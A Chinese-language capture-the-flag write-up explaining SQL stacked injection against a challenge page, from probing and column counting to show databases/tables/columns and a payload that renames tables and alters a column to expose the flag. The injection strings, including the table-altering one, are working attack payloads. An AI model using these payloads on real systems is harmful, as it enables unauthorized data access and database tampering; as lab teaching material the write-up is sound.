前言
本题知识点:SQL堆叠注入
WP
打开题目,很明显的提示我们应该是SQL注入了
So,先按照一般的流程,尝试基本的探测姿势
1. 探测有无注入
1 | 1' 报错 |
可知存在注入,且 --+
注释被过滤,#
注释可用
2. 尝试获取列数
1 | 1' order by 1# 正常有回显 |
用 order by
语句判断出有两个字段
3. 尝试联合查询
1 | -1' union select 1, databaes()# 报错 |
发现以上关键字均被过滤无法使用,故接下来考虑堆叠注入
堆叠注入(Stacked injections)
顾名思义,堆叠注入就是多条 SQL 语句一起执行。在 SQL 中,分号 ;
用来表示一条 SQL 语句的结束。堆叠注入的使用方法就是使用分号结束一条 SQL 语句后继续构造下一条语句。
1. 查询所有数据库
1 | 1';show databases;# |
2. 查询所有表
1 | 1';show tables;# |
可以看到存在两张表,分别查看其中的所有列
3. 查询表中所有列
1 | -1';show columns from words;# 查询words表中所有的列 |
Notice:
字符串为表名操作时要加反引号( ` )
因为查询出的结果是一个数字加一个字符串,观察两张表的结构,不难判断出 words 应该是默认查询的表,数字与 id 相对应,字符串则对应着 data;传入的参数对应着查询语句中的 id 字段
由查询1919810931114514表所得到的结果可知,flag 应该就在其 flag 字段中,所以只要读取此字段内的数据即可拿到 flag,But 由于 select 字段被过滤了,所以无法直接对此字段进行查询
However,通过先前的测试我们知道,默认查询的表为 words 表,即后台查询语句类似下列语句:
1 | select * from words where id = '1'; |
加上本题没有禁用 rename
和 alert
关键字,因此我们可以通过修改表结构的方法来得到 flag 。
我们可以将 words 表名改为 words1 ,再将数字名表改为 words ,这样默认查询的表就变成了数字名表了,由于数字名表没有 id 列,在查询的时候会产生错误,故还需将其 flag 字段名改为 id 或者直接添加 id 字段
1 | 1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);# |
接下来只需爆出 words 表中的所有字段即可拿到 flag
1 | 1' or 1 = 1# |
PS: